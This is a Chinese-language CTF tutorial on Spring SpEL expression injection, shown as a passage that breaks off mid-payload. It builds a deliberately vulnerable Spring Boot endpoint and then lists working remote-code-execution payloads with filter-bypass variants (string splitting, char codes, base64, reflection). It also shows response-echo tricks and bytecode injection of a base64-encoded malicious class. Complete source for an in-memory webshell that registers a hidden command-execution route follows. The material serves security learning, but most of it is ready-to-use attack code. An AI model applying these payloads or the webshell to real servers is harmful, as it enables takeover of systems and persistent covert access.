Java?SpEL表達(dá)式注入入門學(xué)習(xí)示例教程
SpEL簡(jiǎn)介
SpEL是Spring 框架特有的表達(dá)式語(yǔ)言。如果輸入的字符串被 expression.getValue() 執(zhí)行了,就能 RCE。SpEL (Spring Expression Language) 注入是 Java Web 題最常見(jiàn)的考點(diǎn)之一,因?yàn)樗壿嬊逦?,利用方式很?PHP 的 eval。
確認(rèn)Spring Boot框架
一、看pom.xml
打開(kāi)項(xiàng)目根目錄的pom.xml,如果看到標(biāo)簽里面寫(xiě)著spring-boot-starter-parent,或者里面有一堆spring-boot-starter-web之類的包,基本能確定是Spring Boot框架。
二、看入口類
找到src/main/java下帶有main函數(shù)的文件。類頭一定帶有@SpringBootApplication注解,main方法里只有一行:
SpringApplication.run(類名.class, args);
三、終端輸出
如果把題目源碼在本地運(yùn)行,可以看到控制臺(tái)輸出巨大的ASCII字符畫(huà)Spring。
前置知識(shí)
首先我們要明確java中的類、對(duì)象、方法
一、類(圖紙)
在代碼中看到j(luò)ava.lang.Runtime這種長(zhǎng)長(zhǎng)的名字,它就是類(圖紙)。圖紙本身不能干活,它只是規(guī)定了東西長(zhǎng)什么樣。類可以主要分為幾個(gè)大類:
1.普通類
這種類的代碼里寫(xiě)好的所有的功能,可以直接干活。特點(diǎn):可以直接new,所有的方法都有具體的代碼實(shí)現(xiàn)。
2.靜態(tài)工具類
這種類的構(gòu)造方法通常是私有的,因此不能直接new,而里面的方法全部都是靜態(tài)方法static,可以直接通過(guò)類名.方法名()調(diào)用。
3.抽象類
這種類只規(guī)定了大體方向,具體細(xì)節(jié)不全,因此也不能new。它存在的意義就是為了讓別人繼承它,由子類去補(bǔ)全代碼。
4.接口
Java8之前,這種類里面全部都是空方法,只定義”要干什么“,不定義”怎么干“。
類不是”繼承“接口,而是”簽署(實(shí)現(xiàn))“接口(implements)。
二、對(duì)象(實(shí)物)
我們需要用圖紙?jiān)斐鲆粋€(gè)真實(shí)的物體。在Java里,根據(jù)圖紙?jiān)鞏|西就是類的實(shí)例化過(guò)程,比如new Scanner(…)就是“造一個(gè)新的掃描器”。
三、方法(動(dòng)作)
大部分情況下,我們最終需要調(diào)用的就是方法。普通方法需要從對(duì)象中調(diào)用,而靜態(tài)方法可以直接從類中調(diào)用,這種類需要用T()來(lái)進(jìn)行包裹。
就拿getRuntime()方法為例,從源碼中可以看到這個(gè)方法是一種靜態(tài)方法static,所以要從它的類java.lang.Runtime中調(diào)用,這個(gè)類要用T()包裹,所以調(diào)用方式是
T(java.lang.Runtime).getRuntime()
這里注意,這個(gè)用T包裹的語(yǔ)法屬于SpEL語(yǔ)法,不是Java原生語(yǔ)法。
在原生Java中,我們只需要寫(xiě)java.lang.Runtime.getRuntime()即可。
因?yàn)樵贘ava編譯器中,它是上帝視角,在編譯期就讀了所有的JDK庫(kù)。但是在SpEL解析器中,如果我們想表達(dá)這是一個(gè)Java類,就必須用T括起來(lái)。(T代表Type,類)。
對(duì)比php反序列化也是一樣的道理,在某些類中會(huì)有一些魔術(shù)方法或者自定義的方法,滿足某些條件時(shí)會(huì)觸發(fā)特定的魔術(shù)方法,這些魔術(shù)方法的觸發(fā)可能又會(huì)調(diào)用其他的方法,這也就是pop鏈的原理。
方法調(diào)用結(jié)束后,會(huì)返回特定類型的對(duì)象,比如getRuntime返回Runtime類型的對(duì)象,exec返回Process類型的對(duì)象。
模擬漏洞環(huán)境
我們起一個(gè)web服務(wù)來(lái)模擬spel注入。一下兩個(gè)文件都放在com.ctf.web包中。
CTFApplication.java
package com.ctf.web;
import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
// 這個(gè)注解告訴 Java:這是一個(gè) Spring Boot Web 應(yīng)用
@SpringBootApplication
public class CTFApplication {
public static void main(String[] args) {
// 一行代碼啟動(dòng)整個(gè) Web 服務(wù) (自帶 Tomcat)
SpringApplication.run(CTFApplication.class, args);
}
}HelloController.java
package com.ctf.web;
// 1. Web 相關(guān)的包 (負(fù)責(zé)路由和參數(shù))
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;
// 2. SpEL 相關(guān)的包 (負(fù)責(zé)漏洞演示)
import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser;
@RestController
public class HelloController {
/**
* SpEL 注入漏洞靶場(chǎng)
* 訪問(wèn)方式:/spel?cmd=1+1
*/
@GetMapping("/spel")
public String spelVuln(@RequestParam String cmd) {
// 1. 創(chuàng)建解析器 (相當(dāng)于準(zhǔn)備 PHP 的 eval 環(huán)境)
ExpressionParser parser = new SpelExpressionParser();
try {
// 2. 解析用戶輸入的字符串 (cmd)
// 這一步只是把字符串變成一個(gè)“表達(dá)式對(duì)象”,還沒(méi)執(zhí)行
Expression exp = parser.parseExpression(cmd);
// 3. 執(zhí)行表達(dá)式并獲取結(jié)果 (Sink 點(diǎn))
// 這一步才會(huì)真正執(zhí)行代碼!
Object value = exp.getValue();
// 防止結(jié)果為空導(dǎo)致報(bào)錯(cuò)
if (value == null) {
return "執(zhí)行成功,但沒(méi)有返回值";
}
return "SpEL 執(zhí)行結(jié)果: " + value.toString();
} catch (Exception e) {
e.printStackTrace(); // 在控制臺(tái)打印詳細(xì)錯(cuò)誤,方便調(diào)試
return "執(zhí)行出錯(cuò): " + e.getMessage();
}
}
}/spel?cmd=10*10即可執(zhí)行語(yǔ)句。
找到漏洞點(diǎn)
SpEL注入的原理很簡(jiǎn)單:用戶輸入的字符串被當(dāng)成了代碼去執(zhí)行。
在php中,我們要找的是eval($input);而在java中,我們要找的是下面這三行代碼的組合(這也是代碼審計(jì)的重點(diǎn)):
1.解析器創(chuàng)建
ExpressionParser parser = new SpelExpressionParser();
2.解析表達(dá)式
Expression exp = parser.parseExpression(用戶輸入);
3.執(zhí)行表達(dá)式
exp.getValue(); //這里是執(zhí)行點(diǎn)
只要看到 SpelExpressionParser 和 parseExpression 且參數(shù)可控,直接判定為 RCE(遠(yuǎn)程代碼執(zhí)行)。
分析漏洞點(diǎn)原理
主要的就是這三行代碼
// 創(chuàng)建解析器 ExpressionParser parser = new SpelExpressionParser(); // 解析字符串 Expression exp = parser.parseExpression(cmd); // 漏洞爆發(fā)點(diǎn) Object value = exp.getValue();
初始化引擎
ExpressionParser parser = new SpelExpressionParser();
首先我們要明確,Java本身是聽(tīng)不懂SpEL語(yǔ)法的,Java只懂Java語(yǔ)法。為了讓Java能夠看懂SpEL語(yǔ)法,需要先創(chuàng)建一個(gè)解析器,SpelExpressionParser就是這個(gè)解析器。如果沒(méi)有這個(gè)解析器,我們就沒(méi)辦法處理后面的字符串。
編譯/解析
Expression exp = parser.parseExpression(cmd);
它把死的字符串變成了活的對(duì)象。
比如我們傳入?cmd=1+1,對(duì)于計(jì)算機(jī)來(lái)說(shuō),這只是普通的文本。而解析器parser拿到這個(gè)文本后,調(diào)用parseExpression方法開(kāi)始語(yǔ)法分析,檢查是否符合SpEL語(yǔ)法。如果檢查無(wú)誤,則會(huì)生成一個(gè)Expression對(duì)象。此時(shí)代碼沒(méi)有被執(zhí)行。
代碼執(zhí)行 | 核心機(jī)制:AST(抽象語(yǔ)法樹(shù))
當(dāng)我們調(diào)用 parser.parseExpression(...) 時(shí),Spring 并沒(méi)有立即執(zhí)行代碼,而是把我們輸入的字符串拆解成了一棵 AST(抽象語(yǔ)法樹(shù))。
它被拆成了三個(gè)節(jié)點(diǎn):
- 節(jié)點(diǎn) A (TypeReference):
T(java.lang.Runtime)—— 負(fù)責(zé)找類。 - 節(jié)點(diǎn) B (MethodReference):
.getRuntime()—— 負(fù)責(zé)調(diào)靜態(tài)方法。 - 節(jié)點(diǎn) C (MethodReference):
.exec("calc")—— 負(fù)責(zé)調(diào)普通方法。
getValue() 的工作原理: 當(dāng)你調(diào)用 getValue() 時(shí),它會(huì)觸發(fā)這棵樹(shù)的遍歷。它命令節(jié)點(diǎn) A 開(kāi)始跑,節(jié)點(diǎn) A 跑完把棒子(結(jié)果)傳給節(jié)點(diǎn) B,B 傳給 C。只有跑完全程,才能算出最終的 Value。
底層引擎:Java反射的封裝
之所以節(jié)點(diǎn)可以調(diào)用方法,是因?yàn)間etValue()內(nèi)部封裝了極其強(qiáng)大的Java反射API。這里我們后面再詳細(xì)學(xué)習(xí)Java反射。
模板注入SpEL
SpEL表達(dá)式注入主要分為兩種,前面我們所說(shuō)的是直接注入,下面我們學(xué)習(xí)模板注入。
漏洞特征
在源碼中看到開(kāi)啟了模板模式
// 定義模板上下文:識(shí)別 #{...}
ParserContext context = new TemplateParserContext();
// 解析
Expression exp = parser.parseExpression(userInput, context);
這個(gè)時(shí)候,普通的字符串會(huì)被當(dāng)成文本,只有被#{ ... }包裹的內(nèi)容才會(huì)被當(dāng)成代碼執(zhí)行。
#{ T(java.lang.Runtime).getRuntime().exec('calc') }
常見(jiàn)SpEL注入方式
Runtime
T(java.lang.Runtime).getRuntime().exec('calc')
// 回顯
new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec('whoami').getInputStream()).next()想要執(zhí)行命令,我們就要找到exec方法,這個(gè)方法存在系統(tǒng)管理員getRuntime方法中。只要我們找到getRuntime這個(gè)方法就可以調(diào)用exec方法。而getRuntime方法是一個(gè)靜態(tài)方法,可以直接從Runtime類調(diào)用,根據(jù)前面提到的,我們需要把這個(gè)類包裹在T中,也就是T(java.lang.Runtime).getRuntime()。后面再街上exec就可以執(zhí)行命令了。這也就是我們的第一條payload。
這種方法有一個(gè)弊端,那就是沒(méi)有回顯。所以我們需要想辦法讓執(zhí)行結(jié)果回顯到網(wǎng)頁(yè)中。這里就需要用到Scanner, getInputStream和next。
getInputStream()返回的是java.io.InputStream對(duì)象,它里面只是二進(jìn)制數(shù)據(jù),如果直接把對(duì)象返回給網(wǎng)頁(yè),那么網(wǎng)頁(yè)上只會(huì)顯示這個(gè)對(duì)象的編號(hào)。而我們需要的是字符串,所以需要把二進(jìn)制數(shù)據(jù)轉(zhuǎn)為字符串。
java.util.Scanner就可以達(dá)成我們的目的。它可以把二進(jìn)制字節(jié)流轉(zhuǎn)為字符串。
Scanner它是一個(gè)普通類。由于next()不是靜態(tài)方法,所以需要把Scanner類實(shí)例化為對(duì)象再調(diào)用next方法。
那么為什么要把T(java.lang.Runtime).getRuntime().exec('whoami').getInputStream()這么一長(zhǎng)串包裹在Scanner的括號(hào)中呢?
我們可以看源碼中Scanner類的定義
// JDK 源碼定義
public class Scanner {
// 構(gòu)造函數(shù):接收一個(gè) InputStream 類型的參數(shù)
public Scanner(InputStream source) {
// ... 初始化代碼 ...
}
}
java期望收到一個(gè)InputStream類型的參數(shù),而T(java.lang.Runtime).getRuntime().exec('whoami').getInputStream()最終返回的對(duì)象類型屬于java.io.InputStream,把這一長(zhǎng)串放在括號(hào)中,本質(zhì)上就是把表達(dá)式的計(jì)算結(jié)果作為參數(shù)傳遞。
ProcessBuilder
如果Runtime關(guān)鍵字被ban了,這時(shí)我們要用ProcessBuilder。
new java.lang.ProcessBuilder("calc").start()
new java.util.Scanner(new java.lang.ProcessBuilder("whoami").start().getInputStream()).next()
ScriptEngine
這是Java8環(huán)境下的神器,它允許我們?cè)贘ava中直接寫(xiě)JavaScript代碼。
它可以繞過(guò)對(duì)Java類名的過(guò)濾,而且JS寫(xiě)邏輯更方便。
由于eval的參數(shù)是一個(gè)字符串,所以我們可以對(duì)eval的參數(shù)進(jìn)行拼接、編碼、變形
正常payload
// 1. 獲取 JS 引擎
// 2. 執(zhí)行 JS 代碼:在 JS 里調(diào)用 Java
// 這里利用的是SpEL原生流
new javax.script.ScriptEngineManager().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec('calc')")
// 或者利用Java反射流
T(javax.script.ScriptEngineManager).newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec('calc')")拼接
// SpEL 會(huì)先執(zhí)行括號(hào)里的字符串拼接,拼好后再傳給 eval
new javax.script.ScriptEngineManager().getEngineByName("js").eval("java.lang.Run" + "time" + ".getRuntime().exec('calc')")
new javax.script.ScriptEngineManager().getEngineByName("js").eval('java.lang.Run'.concat('time').concat('.getRuntime().exec("calc")'))編碼
// 把 "Runtime" 換成 "Run" + char(116) + "ime" (116 是 't' 的 ASCII 碼)
new javax.script.ScriptEngineManager().getEngineByName("js").eval("java.lang.Run" + T(java.lang.Character).toString(116) + "ime.getRuntime().exec('calc')")
// base64編碼
new javax.script.ScriptEngineManager()
.getEngineByName("js")
.eval(new java.lang.String(T(java.util.Base64).getDecoder().decode("dmFyIHMgPSBbM107IHNbMF09J2NtZCc7IHNbMV09Jy9jJzsgc1syXT0nY2FsYyc7IGphdmEubGFuZy5SdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKHMpOw==")))文件讀取
服務(wù)器不出網(wǎng)或者某些命令被禁了,只想讀flag,可以使用java.nio.file.Files
// 1. 讀取所有字節(jié)
// 2. 轉(zhuǎn)成 String 顯示
new String(T(java.nio.file.Files).readAllBytes(T(java.nio.file.Paths).get('E:/1_msg1.txt')))
Java反射構(gòu)造RCE
這里建議大家先學(xué)兩天Java反射,再回來(lái)看會(huì)更加透徹。
我們首先看目標(biāo)代碼,轉(zhuǎn)成Java反射代碼,再轉(zhuǎn)成SpEL代碼。
目標(biāo)代碼
Runtime.getRuntime().exec("calc");
Java反射代碼
Class clazz = Class.forName("java.lang.Runtime");
Method m = clazz.getMethod("getRuntime");
Object o = m.invoke(null);
clazz.getMethod("exec".String.class).invoke(o, "calc.exe");SpEL代碼
// 對(duì)應(yīng)步驟 1: 獲取類
T(java.lang.Class).forName('java.lang.Runtime')
// 對(duì)應(yīng)步驟 2: 獲取方法
.getMethod('getRuntime')
// 對(duì)應(yīng)步驟 3: 執(zhí)行靜態(tài)方法拿到對(duì)象
.invoke(null)
// 對(duì)應(yīng)步驟 4: 拿到對(duì)象后直接執(zhí)行 exec
.exec('calc')引號(hào)中的內(nèi)容動(dòng)態(tài)可控,我們可以通過(guò)拼接、編碼等,繞過(guò)可能的過(guò)濾。
// 步驟 1: 拿到類 (隱藏了 Runtime)
T(java.lang.Class).forName('java.lang.Run' + 'time')
// 步驟 2: 拿到 getRuntime 方法
.getMethod('getRun'+'time')
// 步驟 3: 拿到 Runtime 對(duì)象
.invoke(null)
// 步驟 4: 【這里暴露了!】直接調(diào)用 exec
.exec('calc')回顯方式
Scanner
在上面的payload中我們提到了一種能夠在網(wǎng)頁(yè)上面回顯內(nèi)容的方式,通過(guò)Scanner掃描器
new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec('whoami').getInputStream()).next()
通過(guò)Scanner我們把命令執(zhí)行結(jié)果轉(zhuǎn)換成了一個(gè)String字符串,SpEL引擎把這個(gè)字符串返回給了我們的Java代碼。但是注意,這里我們的源碼中是這樣寫(xiě)的
public String spelVuln(@RequestParam String cmd) {
// ...
return "SpEL 執(zhí)行結(jié)果: " + value.toString();
// ...
}這個(gè)方法返回的值是String類型,所以通過(guò)Scanner轉(zhuǎn)為字符串后,可以將執(zhí)行結(jié)果結(jié)果返回到網(wǎng)頁(yè)上。
而如果開(kāi)發(fā)者寫(xiě)的代碼是
public void vuln() { ... } // 沒(méi)有返回值
或者它的return是這樣寫(xiě)的
return "執(zhí)行成功"; // 沒(méi)有返回執(zhí)行結(jié)果
那么這樣的后果就是,雖然我們通過(guò)Scanner拿到了字符串,但是并沒(méi)有途徑把執(zhí)行結(jié)果顯示在網(wǎng)頁(yè)上(源碼中的限制)。
StreamUtils + RequestContextHolder
這種方法可以直接將執(zhí)行結(jié)果寫(xiě)入http響應(yīng)中。
// windows版本
T(org.springframework.util.StreamUtils).copy(T(java.lang.Runtime).getRuntime().exec('cmd /c whoami').getInputStream(),T(org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes().getResponse().getOutputStream())
// Linux版本
T(org.springframework.util.StreamUtils).copy(T(java.lang.Runtime).getRuntime().exec('/bin/sh -c id').getInputStream(),T(org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes().getResponse().getOutputStream())
我們可以將這個(gè)payload分成三部分來(lái)看。
第一部分:命令結(jié)果
T(java.lang.Runtime).getRuntime().exec('...').getInputStream()
這一部分通過(guò)Runtime調(diào)用exec執(zhí)行系統(tǒng)命令,獲取執(zhí)行結(jié)果,再調(diào)用getInputStream獲取一個(gè)數(shù)據(jù)流。此時(shí)執(zhí)行結(jié)果就在這個(gè)流中,等待被讀取。
第二部分:響應(yīng)通道
T(org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes().getResponse().getOutputStream()
這里是將執(zhí)行結(jié)果寫(xiě)入http響應(yīng)中的最關(guān)鍵的一步。
RequestContextHolder:這是 Spring 提供的“全局大管家”,它持有當(dāng)前正在處理的所有 HTTP 請(qǐng)求信息。currentRequestAttributes():拿到當(dāng)前請(qǐng)求的上下文。getResponse():直接搶到了 HTTP 響應(yīng)對(duì)象 (HttpServletResponse)。getOutputStream():打開(kāi)了向?yàn)g覽器發(fā)送數(shù)據(jù)的 輸出流 (OutputStream)。- 狀態(tài): 這就像是你直接在這個(gè)網(wǎng)頁(yè)的背后插了一根管子,準(zhǔn)備往里灌水。
這里換一種寫(xiě)法也可以用于探測(cè)漏洞是否存在(別忘了T是SpEL專屬語(yǔ)法)
T(org.springframework.web.context.request.RequestContextHolder).getRequestAttributes().getResponse().addHeader("Al1ex","success")
第三部分:數(shù)據(jù)傳輸
T(org.springframework.util.StreamUtils).copy(第一部分, 第二部分)
StreamUtils是Spring框架自帶的一個(gè)工具類,專門處理流。copy(in, out)的作用是把輸入流里的所有字節(jié),原封不動(dòng)的復(fù)制到輸出流里。這樣一來(lái),exec命令的執(zhí)行結(jié)果就通過(guò)http響應(yīng)發(fā)送到了網(wǎng)頁(yè)上。
字節(jié)碼注入
https://xz.aliyun.com/news/16342
它的核心邏輯是:我不直接在 SpEL 表達(dá)式里寫(xiě)命令(如 Runtime.exec),而是把一個(gè)包含惡意代碼的 Java .class 文件(編譯后的字節(jié)碼),通過(guò) Base64 編碼塞進(jìn) Payload 里,然后讓服務(wù)器把這段字節(jié)碼還原成一個(gè)類并加載運(yùn)行。
1.編寫(xiě)惡意Java類(exp.java)
public class exp {
// static 靜態(tài)代碼塊:這是核心!
static {
try {
// 只要這個(gè)類被“加載”進(jìn)內(nèi)存,這段代碼就會(huì)自動(dòng)執(zhí)行
Runtime.getRuntime().exec("cmd.exe /c calc.exe");
} catch (Exception e) { e.printStackTrace(); }
}
// main 方法在這里沒(méi)用,因?yàn)槲覀儾粫?huì)去調(diào)用它
public static void main(String[] args) { }
}
關(guān)鍵點(diǎn): static {} 靜態(tài)代碼塊。
原理: 在 Java 中,當(dāng)一個(gè)類被 ClassLoader(類加載器)初始化/加載時(shí),靜態(tài)代碼塊里的代碼會(huì)被立即自動(dòng)執(zhí)行。攻擊者利用這個(gè)特性,確保只要把類加載進(jìn)去,命令就執(zhí)行了,不需要額外調(diào)用方法。
2.編譯打包
編譯: 攻擊者把 exp.java 編譯成 exp.class(這是二進(jìn)制文件,計(jì)算機(jī)能讀懂,人看不懂)。
javac exp.java
Base64 編碼: 也就是你代碼里的 encode.java 做的事情。
- 因?yàn)?HTTP Header 只能傳輸文本,不能傳輸二進(jìn)制亂碼。
- 所以必須把
exp.class的二進(jìn)制內(nèi)容轉(zhuǎn)換成一長(zhǎng)串 Base64 字符串 (yv66vgAA...)。
encode.java
import java.io.ByteArrayOutputStream;
import java.io.FileInputStream;
import java.util.Base64;
import java.util.Base64.Encoder;
/*
* 加密class文件
*/
public class encode {
public static void main(String args[]) {
byte[] buffer = null;
String filepath = "C:\\Users\\Al1ex\\Desktop\\java-object-searcher-master\\exp.class";
try {
FileInputStream fis = new FileInputStream(filepath);
ByteArrayOutputStream bos = new ByteArrayOutputStream();
byte[] b = new byte[1024];
int n;
while((n = fis.read(b))!=-1) {
bos.write(b,0,n);
}
fis.close();
bos.close();
buffer = bos.toByteArray();
}catch(Exception e) {
e.printStackTrace();
}
Encoder encoder = Base64.getEncoder();
String value = encoder.encodeToString(buffer);
System.out.println(value);
}
}3.執(zhí)行
最后我們利用SpEL注入點(diǎn)執(zhí)行,構(gòu)造表達(dá)式
T(org.springframework.cglib.core.ReflectUtils).defineClass(
'exp',
T(com.sun.org.apache.xml.internal.security.utils.Base64).decode('yv66vgAAADQAIgoACAATCgAUABUIABYKABQAFwcAGAoABQAZBwAaBwAbAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEABG1haW4BABYoW0xqYXZhL2xhbmcvU3RyaW5nOylWAQAIPGNsaW5pdD4BAA1TdGFja01hcFRhYmxlAQAKU291cmNlRmlsZQEACGV4cC5qYXZhDAAJAAoHABwMAB0AHgEAE2NtZC5leGUgL2MgY2FsYy5leGUMAB8AIAEAE2phdmEvbGFuZy9FeGNlcHRpb24MACEACgEAA2V4cAEAEGphdmEvbGFuZy9PYmplY3QBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAPcHJpbnRTdGFja1RyYWNlACEABwAIAAAAAAADAAEACQAKAAEACwAAAB0AAQABAAAABSq3AAGxAAAAAQAMAAAABgABAAAAAQAJAA0ADgABAAsAAAAZAAAAAQAAAAGxAAAAAQAMAAAABgABAAAABwAIAA8ACgABAAsAAABHAAIAAQAAABK4AAISA7YABFenAAhLKrYABrEAAQAAAAkADAAFAAIADAAAAA4AAwAAAAQACQAFABEABgAQAAAABwACTAcABQQAAQARAAAAAgAS'),
T(org.springframework.util.ClassUtils).getDefaultClassLoader()
)注意執(zhí)行的時(shí)候必須全部URL編碼,否則報(bào)錯(cuò)
T%28org%2Espringframework%2Ecglib%2Ecore%2EReflectUtils%29%2EdefineClass%28%0A%20%20%20%20%27exp%27%2C%20%0A%20%20%20%20T%28com%2Esun%2Eorg%2Eapache%2Exml%2Einternal%2Esecurity%2Eutils%2EBase64%29%2Edecode%28%27yv66vgAAADQAIgoACAATCgAUABUIABYKABQAFwcAGAoABQAZBwAaBwAbAQAGPGluaXQ%2BAQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEABG1haW4BABYoW0xqYXZhL2xhbmcvU3RyaW5nOylWAQAIPGNsaW5pdD4BAA1TdGFja01hcFRhYmxlAQAKU291cmNlRmlsZQEACGV4cC5qYXZhDAAJAAoHABwMAB0AHgEAE2NtZC5leGUgL2MgY2FsYy5leGUMAB8AIAEAE2phdmEvbGFuZy9FeGNlcHRpb24MACEACgEAA2V4cAEAEGphdmEvbGFuZy9PYmplY3QBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAPcHJpbnRTdGFja1RyYWNlACEABwAIAAAAAAADAAEACQAKAAEACwAAAB0AAQABAAAABSq3AAGxAAAAAQAMAAAABgABAAAAAQAJAA0ADgABAAsAAAAZAAAAAQAAAAGxAAAAAQAMAAAABgABAAAABwAIAA8ACgABAAsAAABHAAIAAQAAABK4AAISA7YABFenAAhLKrYABrEAAQAAAAkADAAFAAIADAAAAA4AAwAAAAQACQAFABEABgAQAAAABwACTAcABQQAAQARAAAAAgAS%27%29%2C%20%0A%20%20%20%20T%28org%2Espringframework%2Eutil%2EClassUtils%29%2EgetDefaultClassLoader%28%29%0A%29
payload分析
1.解碼 (Decode): T(com.sun...Base64).decode('yv66...')
- SpEL 調(diào)用 JDK 內(nèi)部的 Base64 工具,把那一長(zhǎng)串字符串,還原成了
al1ex.class的原始二進(jìn)制字節(jié)流(byte array)。
2.定義類 (Define Class): T(org.springframework.cglib.core.ReflectUtils).defineClass(...)
ReflectUtils是 Spring 自帶的一個(gè)工具類(CGLIB 庫(kù))。defineClass方法的作用是:給它一堆字節(jié),它能在內(nèi)存里把這堆字節(jié)變成一個(gè)活生生的 Java 類對(duì)象。
3.觸發(fā)炸彈:
- 當(dāng)
defineClass執(zhí)行成功時(shí),al1ex類就被加載到了服務(wù)器的 JVM 內(nèi)存中。 - BOOM! 因?yàn)轭惐患虞d了,那個(gè)
static { ... }代碼塊瞬間被觸發(fā)。 calc.exe彈出。
內(nèi)存馬
剛才字節(jié)碼注入是將惡意代碼寫(xiě)入內(nèi)存,這種手法與內(nèi)存馬非常相像,我們可以仿照這種模式來(lái)寫(xiě)內(nèi)存馬。
編寫(xiě)MemShell.java
注意開(kāi)頭一定不要帶package,然后注意里面的MemShell名字,如果要改的話一定要Java文件名和里面的所有全部都要改。
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.InputStream;
import java.lang.reflect.Method;
import java.util.Scanner;
// 改名為 MemShell
public class MemShell {
static {
try {
// 1. 獲取上下文
ServletRequestAttributes attributes = (ServletRequestAttributes) RequestContextHolder.currentRequestAttributes();
WebApplicationContext context = (WebApplicationContext) attributes.getAttribute(
"org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
// 2. 獲取 RequestMappingHandlerMapping
RequestMappingHandlerMapping mapping = context.getBean(RequestMappingHandlerMapping.class);
// 3. 獲取 RequestMappingInfo 構(gòu)建器
Method pathsMethod = RequestMappingInfo.class.getMethod("paths", String[].class);
pathsMethod.setAccessible(true); // 暴力權(quán)限 1
Object pathsBuilder = pathsMethod.invoke(null, (Object) new String[]{"/mshell"});
// 4. 【核心修復(fù)】獲取并應(yīng)用服務(wù)器配置
try {
Method getBuilderConfigMethod = RequestMappingHandlerMapping.class.getMethod("getBuilderConfiguration");
getBuilderConfigMethod.setAccessible(true); // 暴力權(quán)限 2
Object config = getBuilderConfigMethod.invoke(mapping);
if (config != null) {
Method optionsMethod = pathsBuilder.getClass().getMethod("options", RequestMappingInfo.BuilderConfiguration.class);
optionsMethod.setAccessible(true); // <--- ? 之前報(bào)錯(cuò)就是缺這行!暴力權(quán)限 3
optionsMethod.invoke(pathsBuilder, config);
}
} catch (Exception e) {
// 忽略舊版本不支持的情況
}
// 5. 構(gòu)建 RequestMappingInfo
Method buildMethod = pathsBuilder.getClass().getMethod("build");
buildMethod.setAccessible(true); // 暴力權(quán)限 4
RequestMappingInfo info = (RequestMappingInfo) buildMethod.invoke(pathsBuilder);
// 6. 實(shí)例化與注冊(cè)
MemShell instance = new MemShell();
Method method = MemShell.class.getMethod("cmd", HttpServletRequest.class, HttpServletResponse.class);
method.setAccessible(true); // 暴力權(quán)限 5
mapping.registerMapping(info, instance, method);
} catch (Exception e) {
e.printStackTrace(); // 如果還報(bào)錯(cuò),請(qǐng)看控制臺(tái)
}
}
public void cmd(HttpServletRequest request, HttpServletResponse response) {
try {
String cmd = request.getParameter("cmd");
if (cmd != null && !cmd.isEmpty()) {
boolean isWin = System.getProperty("os.name").toLowerCase().contains("win");
String[] cmds = isWin ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};
Process process = Runtime.getRuntime().exec(cmds);
InputStream in = process.getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
response.getWriter().write(output);
response.getWriter().flush();
} else {
response.getWriter().write("MemShell (Final) is active!");
}
} catch (Exception e) {
try { e.printStackTrace(response.getWriter()); } catch (Exception ex) {}
}
}
}編譯
我們?cè)贗DEA上方的構(gòu)建中,選擇重新構(gòu)建項(xiàng)目。由于沒(méi)有package包,所以編譯后的class文件要去根目錄中的target中去找。
編碼
把生成的編譯后的class文件base64編碼,去掉所有換行符。編碼后,cyberchef執(zhí)行給所有符號(hào)url編碼。
附編碼腳本
package com.ctf.web;
import java.io.ByteArrayOutputStream;
import java.io.FileInputStream;
import java.io.FileWriter;
import java.io.IOException;
import java.util.Base64;
import java.util.Base64.Encoder;
/*
* 加密class文件
*/
public class base64EncodeClass {
public static void main(String args[]) {
byte[] buffer = null;
String filepath = "MemShell6.class";
try {
FileInputStream fis = new FileInputStream(filepath);
ByteArrayOutputStream bos = new ByteArrayOutputStream();
byte[] b = new byte[1024];
int n;
while((n = fis.read(b))!=-1) {
bos.write(b,0,n);
}
fis.close();
bos.close();
buffer = bos.toByteArray();
} catch(Exception e) {
e.printStackTrace();
return;
}
Encoder encoder = Base64.getEncoder();
String value = encoder.encodeToString(buffer);
// 刪除所有換行符
value = value.replaceAll("\\r\\n|\\r|\\n", "");
// 輸出到1.txt文件
try (FileWriter writer = new FileWriter("1.txt")) {
writer.write(value);
System.out.println("Base64編碼已保存到 1.txt 文件中");
} catch (IOException e) {
System.err.println("寫(xiě)入文件時(shí)出錯(cuò): " + e.getMessage());
e.printStackTrace();
}
}
}注入
把生成的base64編碼后的、去掉換行符的、執(zhí)行了url編碼的payload替換進(jìn)下面的payload執(zhí)行。
T(org.springframework.cglib.core.ReflectUtils).defineClass(
'MemShell6',
